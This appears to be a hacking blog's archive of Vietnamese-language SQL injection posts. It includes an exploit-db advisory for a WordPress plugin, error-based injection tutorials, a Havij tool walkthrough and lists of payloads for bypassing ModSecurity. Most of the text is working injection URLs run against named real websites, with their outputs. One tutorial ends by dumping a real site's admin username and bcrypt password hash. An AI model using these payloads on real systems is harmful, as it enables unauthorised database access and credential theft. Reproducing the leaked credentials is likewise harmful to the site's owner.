Showing posts with label SQL Injection. Show all posts
Showing posts with label SQL Injection. Show all posts

Thursday, 3 March 2016

Wordpress Ocim MP3 Plugin SQL Injection Vulnerability




========
Ocim MP3 Plugin SQL Injection Vulnerability
========
:----------------------------------------------------------------------------------------------------:
: # Exploit Title : Ocim MP3 Plugin SQL Injection Vulnerability
: # Date : 26 February 2016
: # Author : xevil and Blankon33
: # Vendor Site: http://www.ocimscripts.com/
: # Version:
: # Vulnerability : SQL Injection
: # Tested on : Wordpress 4.4.2
: # Severity : High
:----------------------------------------------------------------------------------------------------:
Summary
========
Ocim MP3 is Plugin to make MP3 Grabber site based on Wordpress.
Proof of Concept
========
Infected URL:
http://[Site]/[Path]/wp-content/plugins/ocim-mp3/source/pages.php?id=['SQLi]
Admin Panel:
http://[Site]/[Path]/oc-login.php
===========
Thanks to
===========
All Indonesian Hacker!!

Source: exploit-db.com

Sunday, 28 February 2016

Xpath Error Based Injection using Extractvalue

Ở các phần trước chúng ta đã tìm hiểu cơ bản về SQL Injection , các kiểu khai thác
2/ Cách khai thác:
B1: Get verion
Code:
and extractvalue(0x3a,concat(0x3a,version()))-- -
Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,version()))-- -
Result: Database Query Failed XPATH syntax error: ':5.5.45-cll-lve'
--> Biết được version database là 5.5

B2: Get database name
Code:
and
extractvalue(0x3a,concat(0x3a,database()))
Example:

http://victim.com/index.php?id=24 and 
and
extractvalue(0x3a,concat(0x3a,database()))

Result: Database Query Failed XPATH syntax error: ':nightgallery20'


B3: Get table name

Code:

and
extractvalue(0x3a,concat(0x3a,(select concat(table_name) from
information_schema.tables where table_schema=database() limit 0,1)))
Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,(select concat(table_name) from
information_schema.tables where table_schema=database() limit 0,1)))-- -

Khi tìm kiếm table chúng ta tăng giá trị Limit cho tới khi tìm thấy table
Limit N,1 ( trong đó N là số thực ).
Các bảng table có thể là admin, tbladmin, user, administrator, setting …
Limit 2,1
Limit 3,1

B4: Get column from table
Code:
and
extractvalue(0x3a,concat(0x3a,(select concat(column_name) from
information_schema.columns where table_name=0xTABLEHEX limit 0,1)))
Example:
http://victim.com/index.php?id=24 andextractvalue(0x3a,concat(0x3a,(select concat(column_name) from
information_schema.columns where table_name=0xTABLEHEX limit 0,1)))-- -

Lưu ýTableHex  Limit
TableHex ở đây là mã hex , ở trên ta tìm đc table tên ng_users, covert qua mã Hex 6e675f7573657273

Tương tự ta cũng tăng giá trị Limit tới khi tìm dc các table quan trojng như username,password

B5: Get data  from Column
Code:
and
extractvalue(0x3a,concat(0x3a,(select concat(COLUMN_NAME,0x3a,0x7e,COLUMN_NAME) from TABLE_NAME limit 0,1)))-- -
Lưu ý thay thế các trường sau:
        1.     COLUMN_NAME: where you insert the column name you want to extract information from

        2.     TABLENAME: where you insert the table name of the column names you extracted from

Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,(select concat(username,0x3a,0x7e,hashed_password) from ng_users limit 0,1)))-- -

Saturday, 27 February 2016

Tool Havij SQL Injection

Havij là một tool tự động khai thác lỗi SQL Injection một trang web, giao diện khá đơn giản dễ sử dụng .Ngoài ra còn 1 số tool khai thác lỗi SQL Injection như 
 M4X SQL Injection
 ToolHBA Injector v 0.4 
 WITOOL SQL injection 
 Blind SQli dumper Tool


Run Analyze

Qua Tab Tables --> Get Tables

Chọn table users --> get columns



Chọn Column id, username, password --> Get Data


Thu được user, password 


Friday, 26 February 2016

WAF Bypass mod security

Như đã trao đổi với các bạn ở trong phần trước, phần này mình sẽ nói rõ hơn và các kỹ thuật bypass WAF

Trước hết ta cần hiểu khái niệm cơ bản 
1. Firewall là gì ?
Firewall là những thiết bị hay phần mềm lọc các thông tin đi ra và vào hệ thống mạng, server .Ngăn chặn những truy cập trái phép từ bên ngoài vào những máy chủ và thiết bị bên trong hệ thống mạng.
Firewall được chia làm 2 loại: Software and Hardware firewalls.
Firewall chủ yếu làm việc ở tầng 7 Application (Web Application Firewall), và tầng 3 Network (Network Layer Firewall)

+ Network Layer Firewall:
Có khi nào bạn để ý khi bạn đang cố truy vấn SQL Injection nhiều lần 1 số site đóng các kết nối trả về ERR_EMPTY_RESPONSE

+ Web Application Firewall: 
Chúng ta thường hay gặp khi khai thác Mod Security
http://www.vanchuongviet.org/index.php?comp=tacpham&action=detail&id=-17564 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- -
Not Acceptable!
An appropriate representation of the 
requested resource could not be found on this server. This error was 
generated by Mod_Security.

Bypass:
http://www.vanchuongviet.org/index.php?comp=tacpham&action=detail&id=-17564 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12-- -


2. Detect the WAF:
Có nhiều tool, script phát hiện sự hiện diện của WAF như
NMAP
wafw00f
Checking the response headers

Using Nmap:
nmap -p80 --script http-waf-detect 

Fingerprinting WAF using WAFw00f
wafw00f.py 

3.Một số kiểu bypass
Bypass Payload Union Seclect

/*!UNION*/ /*!SELECT*/
/*!50000UNION*/
%55nion(%53elect)
/*!50000UniON SeLeCt*/
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74

Bypass Illegal mix of collations for operation 'UNION'

1. Using UNCOMPRESS(COMPRESS(our_query_here))
http://www.Site.com/detail.php?id=31 Union Select 1,uncompress(compress(concat(table_name))),3,4,5 from information_schema.tables where table_schema=database()-- -

2. Using UNHEX(HEX(our_query_here))
http://www.Site.com/detail.php?id=31 Union Select 1,unhex(hex(concat(table_name))),3,4,5 from information_schema.tables where table_schema=database()-- -

3. Using CAST()
http://www.Site.com/detail.php?id=31 Union Select 1,cast(table_name as binary),3,4,5 from information_schema.tables where table_schema=database()-- -

4. Using CONVERT()
http://www.Site.com/detail.php?id=31 and 0 Union Select 1,convert(table_name using ascii),3,4,5 from information_schema.tables where table_schema=database()-- -


Có thể thay ascii bằng
ujis, ucs2, tis620, swe7, sjis, macroman, macce, latin7, latin5, latin2, koi8u, koi8r, keybcs2, hp8, geostd8, gbk, gb2132, armscii8, ascii, cp1250, big5, cp1251, cp1256, cp1257, cp850, cp852, cp866, cp932, dec8, euckr, latin1

Bypass 406 Not Acceptable 
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(/*!table_name*/) from information_schema./*!tables*/ where /*!table_schema*/=database()-- 

Wednesday, 24 February 2016

Tutorial Error Based/Double Query SQL Injection


Hôm trước mình đã có giới thiệu qua kiểu khai thác Error Based/Double Query . Hôm nay mình sẽ demo 1 site bị dạng lỗi như vậy

Victim: http://nightgallery.ca/event.php?id=95

Check site có bị lỗi không
http://nightgallery.ca/event.php?id=95'
Lỗi rồi!! --> Database Query Failed You have an error in your SQL syntax

Bước 1: Get column 
http://nightgallery.ca/event.php?id=-95 order by 11-- -
Lỗi: Database Query Failed Unknown column '11' in 'order clause
--> Số cột < 11
http://nightgallery.ca/event.php?id=-95 order by 10-- -
Trang load bình thường như vậy có 10 column


http://nightgallery.ca/event.php?id=-95 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
Lỗi --> Invalid query: The used SELECT statements have a different number of columns 
Đây là dạng khai thác lỗi Error based/double query

Bước 2: Get version
http://nightgallery.ca/event.php?id=-95 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--
Lỗi-->Database Query Failed Duplicate entry '5.5.45-cll-lve:1' for key 'group_key'

--> Version 5.5.45

Bước 3: Get database

http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'nightgallery20~1' for key 'group_key'
--> Database : nightgallery20

Bước 4: Get Table_name

http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'ng_ads~1' for key 'group_key'

Ta xác định table_name: 'ng_ads' .Tiếp tục tăng limit lên cho tới khi tìm được table có thể khai thác data quan trọng như admin, user chẳng hạn

http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 15,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'ng_users~1' for key 'group_key'
--> table: ng_users

Bước 5: Get column from table
Ở đây chúng ta khai thác table ng_users. Lưu ý: convert table qua mã hexa
http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x6e675f7573657273 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'username~1' for key 'group_key'
--> column: username 
Tiếp tục tăng limit lên
http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x6e675f7573657273 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--> column:hashed_password

Bước 6: Get data

http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x7e,hashed_password) as char),0x7e)) from nightgallery20.ng_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'nightgallery~$2y$10$NGFiNjIyN2Q5NTFiYzM2OOYYWmT9ERZ5fK5WyzZJNlQO' for key 'group_key'
Username: nightgallery
Password: $2y$10$NGFiNjIyN2Q5NTFiYzM2OOYYWmT9ERZ5fK5WyzZJNlQO
End tut: gh0stsec